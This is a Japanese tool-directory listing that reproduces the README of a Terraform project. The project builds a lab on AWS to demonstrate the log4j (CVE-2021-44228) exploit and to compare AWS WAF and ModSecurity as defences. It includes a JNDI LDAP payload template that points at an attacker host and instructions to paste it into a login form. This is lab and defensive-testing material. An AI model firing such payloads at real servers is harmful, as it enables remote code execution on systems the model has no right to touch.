Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tf-log4j-aws-poc — このプロジェクトのファイルは、TerraformのInfrastructure-as-a-Code手段を使用して、AWS上でのlog4jの脆弱性(CVE-2021-44228)の概念実証(PoC)を示しています。 | Kitploit
ツール/GitHubGitHub/moshuum/tf-log4j-aws-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

このプロジェクトのファイルは、TerraformのInfrastructure-as-a-Code手段を使用して、AWS上でのlog4jの脆弱性(CVE-2021-44228)の概念実証(PoC)を示しています。

リポジトリを見る
124年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Readme

プロジェクト概要

このプロジェクトのファイルは、AWS上でTerraformのInfrastructure-as-a-Code(IaC)手法を用いたlog4jの脆弱性(CVE-2021-44228)の概念実証(proof-of-concept)を示しています。

このプロジェクトには2つのデモがあります。

  1. single-instance には脆弱なサーバーが含まれており、個人のコンピューターからサーバーを悪用できます。サーバーはAWS WAFで保護されるべきです。
  2. double-instance には2つのサービスが含まれており、脆弱なサーバーにはリバースプロキシサーバーからのみアクセスできます。リバースプロキシはModSecurityで保護されるべきです。

結論: 1つ目のデモは、AWS WAFを使用した悪用の成功を示しています。2つ目のデモは、ModSecurityを導入した場合の試みが失敗した例です。ModSecurityを削除すると、悪用は成功します。これは、ModSecurityがアクティブなプロジェクトであり、脆弱な文字列が特定されてフィルタリングされているためかもしれません。

クレジット

このPOCは以下から取得しました: https://github.com/kozmer/log4j-shell-poc

彼女の試行のウォークスルーを説明したMediumブログ: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

私のテスト

個人的には、Windows + Powershell を使用してテストしました。クラウドマシンは Ubuntu 18 LTS です。(Kali や任意の Linux で攻撃)

前提条件

  1. AWS CLI がインストールされていること
  2. Terraform CLI がインストールされていること
  3. アクセスキーを用意していること

RSAキー

Web経由で作成します(名前は 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

アクセスキーの取得

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > ユーザーを選択 > security_credentials セクションを選択

シェルでアクセスキーを設定

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

使用方法

AWSプラットフォームでEC2をセットアップ

cd single-instance
terraform init
terraform apply

実行後、IP / DNS が表示されます。

single-instance の場合、http:<aws host url>:8080 にアクセスできることを確認してください

double-instance の場合、http:<aws host url> にアクセスできることを確認してください

* 'double-instance' の起動にはかなり時間がかかることに注意してください。システムにSSH接続した後、journalctl -f を使用して進行状況を追跡できます。

ジャーナルを確認する場合、「Reached target Cloud-init target.」が準備完了状態を意味します。
exploit

リモート/ローカルホストクライアント(攻撃者)の準備:

実行権限を設定 chmod +x ../exploit-script-remote.sh

指定された変数でスクリプトを実行
../exploit-script-remote.sh

ペイロードはスクリプトの最後に ${jndi:ldap://<ip-address>:1389/a} のように表示されることに注意してください。

脆弱なサーバー:

http:<aws host url>:8080 にアクセス

ペイロードを 'username' フィールドにコピーし、フォームを送信します

exploit

備考

JDKファイル: baiduソースからの整合性がOracleのものと同じハッシュであることを確認済み
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

参照

Instance: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Spot instance: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

Waf: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Templating: https://spacelift.io/blog/terraform-templates

AWS AZ ID: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

学んだこと

  • (多くの時間を費やした)プロビジョナーをbashスクリプトとして使わない / 代わりにテンプレートを使う(権限を降格できるかどうかをより良く確認できる)
  • Webから生成されたRSAキーは、.pemを使用する場合(SSHクライアントやAWSサーバーとの.pemファイルの互換性)、aws-cliから手動で生成したものよりも信頼性が高い。そうでない場合は、pemなしの通常のRSAキーを使用する。
  • コスト削減のために、通常のインスタンスの代わりにスポットインスタンスを使用できた。
  • Dockerでポートを公開すると、ファイアウォールルールが上書きされる可能性がある。
  • (多くの時間を費やした)ネットワークのセットアップとトラブルシューティングには多くの時間がかかる - Route、VPCには1つのセキュリティグループが必要で、EC2ホストには別のセキュリティグループが必要 - そして両方のセキュリティグループがVPCを指す必要がある。
  • wgetは長時間のダウンロードセッションができない。

# 時間記録

  • 開始 6月6日 11:00 UTC+0800 - 6月7日 4:00(poc+tf+aws-waf完了)- 17時間
  • 開始 6月7日 13:00 UTC+0800 - 6月8日 5:00(リバースプロキシを使用した2番目のケースを完了)
ツールをダウンロード